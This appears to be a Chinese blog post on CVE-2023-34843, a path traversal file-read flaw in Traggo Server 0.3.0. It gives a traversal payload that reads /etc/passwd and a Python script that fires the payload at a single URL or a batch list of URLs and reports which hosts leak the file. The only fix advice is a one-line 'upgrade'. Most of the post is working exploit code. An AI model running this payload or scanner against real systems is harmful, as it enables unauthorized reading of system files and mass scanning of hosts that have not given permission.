首页 > 其他分享 >CVE-2023-34843

CVE-2023-34843

时间:2023-07-06 17:11:40浏览次数:69  
标签:url ..% args 34843 2023 print CVE poc 5c

漏洞名称

Traggo Server 文件读取(CVE-2023-34843)

利用条件

traggo/server 版本 0.3.0

漏洞原理

Traggo Server 是一个基于标签的时间跟踪工具。CVE-2023-34843 中,攻击者可构造恶意请求读取遍历系统上的文件,造成敏感信息泄漏。

漏洞利用

poc

/static/..%5c..%5c..%5c..%5cetc/passwd

(简略)poc检测脚本

支持单个url和批量测试

import requests
import argparse
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.filterwarnings('ignore', category=InsecureRequestWarning)
header={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36"
    }

def poc(url):
    try:
        test=requests.get(url=url,headers=header,verify=False, timeout=5)
        test.raise_for_status()
        payload = "/static/..%5c..%5c..%5c..%5cetc/passwd"
        urll = url + payload

        poc = requests.get(url=urll, headers=header, verify=False)

        if 'root' in poc.text:
            print(url + '有漏洞')
        else:
            print(url + '无漏洞')
    except requests.exceptions.Timeout:
        # 如果请求超时,则输出错误消息
        print(url+'请求超时')
    except requests.exceptions.RequestException as e:
        # 如果请求失败,则输出错误消息
        print(url+'请求失败')


def main():
    parser=argparse.ArgumentParser()
    parser.add_argument('-u',dest='url',help='输入url')
    parser.add_argument('-f',dest='files',help='批量测试')
    args=parser.parse_args()

    if args.url:
        poc(args.url)
    elif args.files:
        with open (f"{args.files}",'r') as urls:
            for url in urls:
                u=url.strip()
                url=u.replace('%0a', '')
                if not url.startswith('http://') and not url.startswith('https://'):
                    url = 'http://' + url
                poc(url)

    else:
        print('-h 帮助')

if __name__ == '__main__':
    main()

image-20230706160133261

修复建议

升级版本

参考文章

标签:url,..%,args,34843,2023,print,CVE,poc,5c
From: https://www.cnblogs.com/crayonxiaoxin/p/17532709.html

相关文章

  • 2023年7月6日 天气:晴
       今天早上起来背了10个单词,然后出去打了两个小时的羽毛球,然后看了一小时的电视剧,再就是练了一个小时的字,然后学习了一个小时的java,最后看了一会儿构建之法,编程了一个小时的C语言。  明天打算早上起来看一小时的英语课本,然后出去玩一个小时,再看一小时的java课本,然后练......
  • 「NOIP 模拟赛 20230706」偷 WiFi
    summarization有一个长度为\(n\)的序列\(p\),将其中若干个数标记。对于序列中的每一个位置\(i\),其贡献为其左边与右边离它最近的被标记的数的数值的和。求出最大的贡献总和。(\(1\len\le2\times10^6\))solution首先显然,\(p_1,p_n\)一定要标记。然后考虑分别求相邻的标记数......
  • 第三届计算机应用与信息安全国际会议(ICCAIS2023)
    由湖北省众科地质与环境技术服务中心主办的2023第三届计算机应用与信息安全国际会议(ICCAIS2023)将于2023年12月20-22日在中国武汉召开。 ICCAIS2023力图建立 一个国际化的计算机应用与信息安全领域的学术交流平台,分享最新进展和研究成果。期待您的参与。 ★重要信息大会时间:20......
  • 2023-07-06 uview-ui组件u-checkbox设置label-disabled无效==》点击文本仍旧触发check
    解决方案:既然无效,那就给checkbox包裹的文本绑定一个点击事件,该点击事件使用.stop来阻止事件冒泡,这样点击文本就不会触发checkbox的change了,可以参考一下代码:<u-checkbox><[email protected]="stopBack"></View></u-checkbox>关键点:@click.stop注:改问题出自uview-ui1.......
  • C/C++学生成绩管理系统[2023-07-06]
    C/C++学生成绩管理系统[2023-07-06]学生成绩管理系统开发一个可以管理学生成绩以及学生基本信息的一个信息系统,至少实现如下功能:信息管理,支持信息的增、删、改、查操作,具体信息类型如下:(1) 管理学生信息 ,包括学号,姓名,年龄,班级等等信息。(2) 班级信息,包括班级编号、班级人数,......
  • C++电影评分系统[2023-07-06]
    C++电影评分系统[2023-07-06]程序设计综合课程设计指导书一、题目:电影评分系统二、设计内容及要求:根据C++课程所学的概念、理论和方法,按照C++程序设计的基本步骤,设计出一个适当规模的程序来实现设计课程内容中的全部功能。本系统要求模拟实现电影评分系统,其中包括电影资源管......
  • 【2023-07-05】打算旅游
    20:00时间以同样的方式流经每个人,而每个人却以不同的方式度过时间。                                                 ——川端康成昨晚邻居从海南旅游回来,带了本地的......
  • C++程序课程设计任务书[2023-07-06]
    C++程序课程设计任务书[2023-07-06]C++程序课程设计任务书班级学号姓名一、实践目的该实践在系统学习《C++程序设计基础》课程后进行。通过本实践,培养学生使用C++解决实际问题的能力。二、实践任务与要求(任选一个任务,独立完成)任务一:(一)......
  • 2023.7.6
    1//2023.7.6周四2//java流程控制3//scanner45publicstaticvoidmain(String[]args)6{7//next方式不能读取有空格的字符串89//创建一个扫描对象用于接收键盘数据10Scannerscanner=newScanner(System.in);1112S......
  • C/C++数据结构与算法课程设计[2023-07-03]
    C/C++数据结构与算法课程设计[2023-07-03]数据结构与算法课程设计一、课程设计的目的、要求和任务 本课程设计是为了配合《数据结构与算法》课程的开设,通过设计完整的程序,使学生掌握数据结构的应用、算法的编写等基本方法。1.课程的目的(1)使学生进一步理解和掌握课堂上所学......